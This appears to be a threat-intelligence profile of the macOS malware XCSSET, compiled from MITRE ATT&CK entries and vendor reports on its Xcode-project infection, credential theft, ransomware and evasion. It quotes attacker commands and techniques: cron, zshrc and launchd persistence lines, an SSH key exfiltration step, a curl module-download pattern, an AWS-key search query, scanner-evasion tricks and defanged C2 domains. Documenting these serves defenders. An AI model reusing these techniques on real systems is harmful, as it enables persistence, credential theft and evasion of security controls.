Loading malware…
XCSSET, also known as OSX DubRobber, is a modular macOS malware family with worm-like propagation, information-stealing, surveillance, and remote-command capabilities. It primarily targets developers by modifying Xcode projects so that building an infected project executes malicious code. It propagates into additional local projects and can spread through shared repositories and software packages published from infected development systems. Variants also inject malicious Gradle build hooks and Git commit hooks, extending propagation through developer workflows without making Android or iOS the malware's execution platforms.
XCSSET steals browser passwords, cookies, session tokens, application data, contacts, clipboard contents, and local documents. Targets include Safari, Chrome, Firefox, Telegram, Notes, and other messaging and productivity applications. It supports screenshot capture, keylogging, and exfiltration through its command-and-control infrastructure. Browser-injection functionality can alter website content and substitute cryptocurrency payment addresses. The malware can also encrypt user files using AES-CBC with a fixed key and display a ransom note on operator command.
XCSSET has exploited macOS vulnerabilities to bypass privacy controls, including CVE-2021-30713, and has used privilege-escalation techniques to bypass System Integrity Protection. Its evasion mechanisms include hidden artifacts, legitimate-application impersonation, encrypted communications, obfuscated scripts, and in-memory payload execution. Persistence mechanisms include malicious application launchers and modifications that reactivate the infection during normal developer or application activity.
Version 40 adds a Chrome-hijacking component that abuses the Chrome DevTools Protocol to execute JavaScript in active browser sessions, collect credentials and cookies, monitor traffic, manipulate MetaMask transactions, and provide fileless remote shell execution. It also includes a Telegram Desktop replacement component, polymorphic payloads, and attempts to interfere with XProtect updates and other macOS security protections. Activity observed in April and May 2026 particularly targeted developers in South Asia.
1 CVE Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
76 distinct techniques documented for this family, organized by ATT&CK tactic.
A variant of XCSSET hid inside universal_file_viewer version 0.1.5 after infected build files from the maintainer's machine were published with the package.
[XCSSET](https://attack.mitre.org/software/S0658) adds malicious code to a host's Xcode projects by enumerating CocoaPods <code>target_integrator.rb</code> files under the <code>/Library/Ruby/Gems</code> folder or enumerates all <code>.xcodeproj</code> folders under a given directory. [XCSSET](https://attack.mitre.org/software/S0658) then downloads a script and Mach-O file into the Xcode project folder.(Citation: trendmicro xcsset xcode project 2020)
Today we look at cron - a classic Unix mechanism that is very much alive on modern macOS Sonoma... User-level crontabs are stored in: /usr/lib/cron/tabs/<username>... The persistence installer (pers.c) installs a cron job for the current user... The cron entry installed looks like this: * * * * * /Users/Shared/hack
These Xcode projects have been modified such that upon building, these projects would run a malicious code. This eventually leads to the main XCSSET malware being dropped and run on the affected system.
The loader is a run-only compiled AppleScript, and theft modules are fetched from the C2 and executed in memory via osascript.
[XCSSET](https://attack.mitre.org/software/S0658) uses a shell script to execute Mach-o files and <code>osacompile</code> commands such as, <code>osacompile -x -o xcode.app main.applescript</code>.(Citation: trendmicro xcsset xcode project 2020)
Uses the Safari development version to inject JavaScript backdoors onto websites via a Universal Cross-site Scripting (UXSS) attack
The user is then prompted to grant these privileges via a fake dialog box.
A compromised project may look normal until someone builds it, when a hidden script contacts attackers and fetches more code.
[XCSSET](https://attack.mitre.org/software/S0658) loads a system level launchdaemon using the <code>launchctl load -w</code> command from <code>/System/Librarby/LaunchDaemons/ssh.plist</code>.(Citation: trendmicro xcsset xcode project 2020)
The hijacker wraps the Chrome browser in a malicious launcher
Copy this new “ls.app” trojan to inside the bundle of an app that’s already been given TCC permission to access the Desktop. % cp -R /tmp/ls.app /Applications/Some Privileged.app/ ... Execute the trojan app
[XCSSET](https://attack.mitre.org/software/S0658) adds malicious file paths to the <code>DYLD_FRAMEWORK_PATH</code> and <code>DYLD_LIBRARY_PATH</code> environment variables to execute malicious code.(Citation: trendmicro xcsset xcode project 2020)
In addition to its usual persistence through Git hooks, Launch Daemons and trojanized applications, v40 adopted another method that misuses the macOS defaults configuration system.
Today we look at cron - a classic Unix mechanism that is very much alive on modern macOS Sonoma... User-level crontabs are stored in: /usr/lib/cron/tabs/<username>... The persistence installer (pers.c) installs a cron job for the current user... The cron entry installed looks like this: * * * * * /Users/Shared/hack
[XCSSET](https://attack.mitre.org/software/S0658) will create an ssh key if necessary with the <code>ssh-keygen -t rsa -f $HOME/.ssh/id_rsa -P</code> command. [XCSSET](https://attack.mitre.org/software/S0658) will upload a private key file to the server to remotely access the host without a password.(Citation: trendmicro xcsset xcode project 2020)
[XCSSET](https://attack.mitre.org/software/S0658) uses the ssh launchdaemon to elevate privileges, bypass system controls, and enable remote access to the victim.(Citation: trendmicro xcsset xcode project 2020)
[XCSSET](https://attack.mitre.org/software/S0658)'s `dfhsebxzod` module searches for `.xcodeproj` directories within the user’s home folder and subdirectories. For each match, it locates the corresponding `project.pbxproj` file and embeds an encoded payload into a build rule, target configuration, or project setting. The payload is later executed during the build process.(Citation: Microsoft March 2025 XCSSET)(Citation: April 2021 TrendMicro XCSSET)
Using [AppleScript](https://attack.mitre.org/techniques/T1059/002), [XCSSET](https://attack.mitre.org/software/S0658) adds it's executable to the user's `~/.zshrc_aliases` file (`"echo " & payload & " > ~/zshrc_aliases"`), it then adds a line to the .zshrc file to source the `.zshrc_aliases` file (`[ -f $HOME/.zshrc_aliases ] && . $HOME/.zshrc_aliases`). Each time the user starts a new `zsh` terminal session, the `.zshrc` file executes the `.zshrc_aliases` file.(Citation: Microsoft March 2025 XCSSET)
Clicking the replaced Launchpad tile opens the real Launchpad and fires the malicious script; on every reboot it executes the first time the user clicks Launchpad.
[XCSSET](https://attack.mitre.org/software/S0658) uses a malicious browser application to replace the legitimate browser in order to continuously capture credentials, monitor web traffic, and download additional modules.(Citation: trendmicro xcsset xcode project 2020)
It attempts to disrupt updates and security telemetry, lock the XProtect database, and reset automation-permission decisions.
Today we look at cron - a classic Unix mechanism that is very much alive on modern macOS Sonoma... User-level crontabs are stored in: /usr/lib/cron/tabs/<username>... The persistence installer (pers.c) installs a cron job for the current user... The cron entry installed looks like this: * * * * * /Users/Shared/hack
[XCSSET](https://attack.mitre.org/software/S0658) has used a zero-day exploit in the ssh launchdaemon to elevate privileges and bypass SIP.(Citation: trendmicro xcsset xcode project 2020)
[XCSSET](https://attack.mitre.org/software/S0658) will create an ssh key if necessary with the <code>ssh-keygen -t rsa -f $HOME/.ssh/id_rsa -P</code> command. [XCSSET](https://attack.mitre.org/software/S0658) will upload a private key file to the server to remotely access the host without a password.(Citation: trendmicro xcsset xcode project 2020)
[XCSSET](https://attack.mitre.org/software/S0658) uses the ssh launchdaemon to elevate privileges, bypass system controls, and enable remote access to the victim.(Citation: trendmicro xcsset xcode project 2020)
[XCSSET](https://attack.mitre.org/software/S0658)'s `dfhsebxzod` module searches for `.xcodeproj` directories within the user’s home folder and subdirectories. For each match, it locates the corresponding `project.pbxproj` file and embeds an encoded payload into a build rule, target configuration, or project setting. The payload is later executed during the build process.(Citation: Microsoft March 2025 XCSSET)(Citation: April 2021 TrendMicro XCSSET)
Using [AppleScript](https://attack.mitre.org/techniques/T1059/002), [XCSSET](https://attack.mitre.org/software/S0658) adds it's executable to the user's `~/.zshrc_aliases` file (`"echo " & payload & " > ~/zshrc_aliases"`), it then adds a line to the .zshrc file to source the `.zshrc_aliases` file (`[ -f $HOME/.zshrc_aliases ] && . $HOME/.zshrc_aliases`). Each time the user starts a new `zsh` terminal session, the `.zshrc` file executes the `.zshrc_aliases` file.(Citation: Microsoft March 2025 XCSSET)
Clicking the replaced Launchpad tile opens the real Launchpad and fires the malicious script; on every reboot it executes the first time the user clicks Launchpad.
CVE-2021-30713 May 24 macOS TCC bypass abused by XCSSET malware
settings_app impersonates System Settings and uses sudo for privilege escalation; it runs commands via sudo -u.
For several modules, [XCSSET](https://attack.mitre.org/software/S0658) attempts to access or list the contents of user folders such as Desktop, Downloads, and Documents. If the folder does not exist or access is denied, it enters a loop where it resets the TCC database and retries access.(Citation: Microsoft March 2025 XCSSET)
printf xAxd | tr -d A reconstructs xxd at runtime to defeat string-based scanners; other payloads use altered base64/hex utilities and randomized encoding.
Older [XCSSET](https://attack.mitre.org/software/S0658) variants use `xxd` to encode modules. Later versions pass an `xxd` or `base64` encoded blob through multiple decoding stages to reconstruct the module name, AppleScript, or shell command. For example, the initial network request uses three layers of hex decoding before executing a curl command in a shell.(Citation: Microsoft March 2025 XCSSET)
XCSSET also changes its code and encrypted payloads frequently, retains much of its activity in memory... Layers of polymorphism and encryption in XCSSET v40
[XCSSET](https://attack.mitre.org/software/S0658) installs malicious application bundles that mimic native macOS apps, such as Safari, by using the legitimate app’s icon and customizing the `Info.plist` to match expected metadata.(Citation: trendmicro xcsset xcode project 2020)(Citation: Microsoft March 2025 XCSSET)
The persist module builds a fake app bundle, patches it to impersonate Launchpad, and swaps the real Launchpad Dock tile for it. Other modules create fake Safari and System Settings bundles.
The malware aggressively attempts to disable macOS security such as XProtect, MRT, TCC, and Rapid Security Response, terminates Apple’s CloudTelemetryService, and prevents XProtect signature updates.
The moment this memory-resident core module loop becomes active, the malware terminates its staging processes and deletes all installation files from the disk.
The malware dynamically scrambles its payload generation at compile time, switching between nested layers of Hex- and Base64-encoding.
When macOS Mojave first went on public release, SentinelOne was the first to note that TCC could be bypassed via SSH... The most recent TCC bypass came to light after it was discovered being exploited by XCSSET malware in August 2020.
Hosts reporting a virtual environment receive no further module deliveries, ensuring that automated sandboxes do not analyze XCSSET’s core logic.
Using the machine's local time, [XCSSET](https://attack.mitre.org/software/S0658) waits 43200 seconds (12 hours) from the initial creation timestamp of a specific file, <code>.report</code>. After the elapsed time, [XCSSET](https://attack.mitre.org/software/S0658) executes additional modules.(Citation: trendmicro xcsset xcode project 2020)
[XCSSET](https://attack.mitre.org/software/S0658) uses a hidden folder named <code>.xcassets</code> and <code>.git</code> to embed itself in Xcode.(Citation: trendmicro xcsset xcode project 2020)
The hijacker wraps the Chrome browser in a malicious launcher
Copy this new “ls.app” trojan to inside the bundle of an app that’s already been given TCC permission to access the Desktop. % cp -R /tmp/ls.app /Applications/Some Privileged.app/ ... Execute the trojan app
[XCSSET](https://attack.mitre.org/software/S0658) adds malicious file paths to the <code>DYLD_FRAMEWORK_PATH</code> and <code>DYLD_LIBRARY_PATH</code> environment variables to execute malicious code.(Citation: trendmicro xcsset xcode project 2020)
In addition to its usual persistence through Git hooks, Launch Daemons and trojanized applications, v40 adopted another method that misuses the macOS defaults configuration system.
The run-only AppleScript decrypts itself using AES-256-CBC with a day-keyed key, then runs the decrypted payload in memory; theft modules are executed via osascript without being written to disk.
[XCSSET](https://attack.mitre.org/software/S0658) uses the <code>chmod +x</code> command to grant executable permissions to the malicious file.(Citation: 20 macOS Common Tools and Techniques)
[XCSSET](https://attack.mitre.org/software/S0658) has dropped a malicious applet into an app's `.../Contents/MacOS/` folder of a previously launched app to bypass Gatekeeper's security checks on first launch apps (prior to macOS 13).(Citation: Application Bundle Manipulation Brandon Dalton)
It attempts to disrupt updates and security telemetry, lock the XProtect database, and reset automation-permission decisions.
In older versions, [XCSSET](https://attack.mitre.org/software/S0658) uses the <code>plutil</code> command to modify the <code>LSUIElement</code>, <code>DFBundleDisplayName</code>, and <code>CFBundleIdentifier</code> keys in the <code>/Contents/Info.plist</code> file to change how [XCSSET](https://attack.mitre.org/software/S0658) is visible on the system. In later versions, [XCSSET](https://attack.mitre.org/software/S0658) leverages a third-party notarized `dockutil` tool to modify the `.plist` file responsible for presenting applications to the user in the Dock and LaunchPad to point to a malicious application.(Citation: trendmicro xcsset xcode project 2020)(Citation: Microsoft March 2025 XCSSET)
The malware aggressively attempts to disable macOS security such as XProtect, MRT, TCC, and Rapid Security Response, terminates Apple’s CloudTelemetryService, and prevents XProtect signature updates.
Blocking the user from changing passwords but also stealing newly modified passwords
deploying 17 separate modules that enable credential theft, keystroke logging, clipboard manipulation, browser hijacking, and data exfiltration
[XCSSET](https://attack.mitre.org/software/S0658) prompts the user to input credentials using a native macOS dialog box leveraging the system process <code>/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment</code>.(Citation: trendmicro xcsset xcode project 2020)
It can collect cookie tokens, watch web-request traffic, capture password-manager autofill data...
Using exploits, it abuses the existing the Safari and other installed browsers to steal user data. In particular, it Uses a vulnerability to read and dump Safari cookies
[XCSSET](https://attack.mitre.org/software/S0658) uses <code>scp</code> to access the <code>~/Library/Cookies/Cookies.binarycookies</code> file.(Citation: trendmicro xcsset xcode project 2020)
It steals information from the user’s Evernote, Notes, Skype, Telegram, QQ ,and WeChat apps
browser_remote strips Chrome's Safe Storage keychain entry to intercept its regenerated encryption key and decrypt saved passwords, cookies, and session tokens; firefox_data collects Firefox credentials.
It attempts to disrupt updates and security telemetry, lock the XProtect database, and reset automation-permission decisions.
Copy “~/Library/Group Containers/6N38VWS5BX.ru.keepcoder.Telegram” folder from machine A to machine B, and replace the existing folder. Run Telegram on machine B. When this is done, it is already logged in with the same account used on machine A.
Stage 1 contacts the C2 and gets back a script that re-requests with the OS and username.
"XCSSET uses ps aux with the grep command to enumerate common browsers and system processes"; "SpicyOmelette can enumerate running software"
[XCSSET](https://attack.mitre.org/software/S0658) identifies the macOS version and uses <code>ioreg</code> to determine serial number.(Citation: trendmicro xcsset xcode project 2020)
[XCSSET](https://attack.mitre.org/software/S0658) has used `mdfind` to enumerate a list of apps known to grant screen sharing permissions and leverages a module to run the command `ls -la ~/Desktop`.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: Microsoft March 2025 XCSSET)
[XCSSET](https://attack.mitre.org/software/S0658) attempts to discover accounts from various locations such as a user's Evernote, AppleID, Telegram, Skype, and WeChat data.(Citation: trendmicro xcsset xcode project 2020)
Hosts reporting a virtual environment receive no further module deliveries, ensuring that automated sandboxes do not analyze XCSSET’s core logic.
Using the machine's local time, [XCSSET](https://attack.mitre.org/software/S0658) waits 43200 seconds (12 hours) from the initial creation timestamp of a specific file, <code>.report</code>. After the elapsed time, [XCSSET](https://attack.mitre.org/software/S0658) executes additional modules.(Citation: trendmicro xcsset xcode project 2020)
[XCSSET](https://attack.mitre.org/software/S0658) uses <code>ps aux</code> with the <code>grep</code> command to enumerate common browsers and system processes potentially impacting [XCSSET](https://attack.mitre.org/software/S0658)'s exfiltration capabilities.(Citation: trendmicro xcsset xcode project 2020)
[XCSSET](https://attack.mitre.org/software/S0658) searches firewall configuration files located in <code>/Library/Preferences/</code> and uses <code>csrutil status</code> to determine if System Integrity Protection is enabled.(Citation: trendmicro xcsset xcode project 2020)
Use mdfind to search for AWS Keys # # Allows an attacker to query the filesystem via the CommandLine/Terminal to search for AWS keys. mdfind 'kMDItemTextContext == AKIA || kMDItemDisplayName = *AKIA* -onlyin ~'
[XCSSET](https://attack.mitre.org/software/S0658) uses AppleScript to check the host's language and location with the command <code>user locale of (get system info)</code>.(Citation: trendmicro xcsset xcode project 2020)
[XCSSET](https://attack.mitre.org/software/S0658) collects contacts and application data from files in Desktop, Documents, Downloads, Dropbox, and WeChat folders.(Citation: trendmicro xcsset xcode project 2020)
Blocking the user from changing passwords but also stealing newly modified passwords
deploying 17 separate modules that enable credential theft, keystroke logging, clipboard manipulation, browser hijacking, and data exfiltration
[XCSSET](https://attack.mitre.org/software/S0658) prompts the user to input credentials using a native macOS dialog box leveraging the system process <code>/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment</code>.(Citation: trendmicro xcsset xcode project 2020)
It can collect cookie tokens, watch web-request traffic, capture password-manager autofill data...
[XCSSET](https://attack.mitre.org/software/S0658) saves a screen capture of the victim's system with a numbered filename and <code>.jpg</code> extension. Screen captures are taken at specified intervals based on the system. (Citation: trendmicro xcsset xcode project 2020)
clipboard runs a pbpaste loop and exfiltrates clipboard contents.
Winter Vivern delivered a PowerShell script capable of recursively scanning victim machines looking for various file types before exfiltrating identified files via HTTP... Tomiris can upload files matching a hardcoded set of extensions... PowerShower packed and exfiltrated .txt, .pdf, .xls or .doc files smaller than 5MB modified during the past two days.
The code allows the attackers to intercept web traffic, including credentials, cookies, and MetaMask transactions, which can be manipulated on the fly to divert payments.
[XCSSET](https://attack.mitre.org/software/S0658) will compress entire <code>~/Desktop</code> folders excluding all <code>.git</code> folders, but only if the total data size is under 200MB.(Citation: trendmicro xcsset xcode project 2020)
We detected the entry threat as TrojanSpy.MacOS.XCSSET.A and its command and control (C&C) related files as Backdoor.MacOS.XCSSET.A ... hxxps://adobestats.com/ C&C Server hxxps://flixprice.com/ C&C Server
The decoded build-hook blob contacts C2 domains using curl; stolen data is sent to /u via multipart POST.
Examples include 'Chaos provides a reverse shell connection on 8338/TCP, encrypted via AES,' 'Winnti for Linux has used a custom TCP protocol with four-byte XOR for command and control,' and 'XCSSET uses RC4 encryption over TCP to communicate with its C2 server.'
[XCSSET](https://attack.mitre.org/software/S0658) downloads browser specific AppleScript modules using a constructed URL with the <code>curl</code> command, <code>https://" & domain & "/agent/scripts/" & moduleName & ".applescript</code>.(Citation: trendmicro xcsset xcode project 2020)
the hijacker module enables system command execution via a fileless reverse shell
The content is a catalog of malware and threat groups that encrypt command-and-control communications using algorithms such as DES, AES, RC4, XOR, Blowfish, RSA, Camellia, RC2, RC6, and custom ciphers.
[XCSSET](https://attack.mitre.org/software/S0658) uses RC4 encryption over TCP to communicate with its C2 server.(Citation: trendmicro xcsset xcode project 2020)
[XCSSET](https://attack.mitre.org/software/S0658) retrieves files that match the pattern defined in the INAME_QUERY variable within the user's home directory, such as `*test.txt`, and are below a specific size limit. It then archives the files and exfiltrates the data over its C2 channel.(Citation: trendmicro xcsset xcode project 2020)(Citation: Microsoft March 2025 XCSSET)
[XCSSET](https://attack.mitre.org/software/S0658) performs AES-CBC encryption on files under <code>~/Documents</code>, <code>~/Downloads</code>, and <code>~/Desktop</code> with a fixed key and renames files to give them a <code>.enc</code> extension. Only files with sizes less than 500MB are encrypted.(Citation: trendmicro xcsset xcode project 2020)
XCSSET also changes its code and encrypted payloads frequently... and uses macOS preferences to store re-infection data.
141 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
69 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.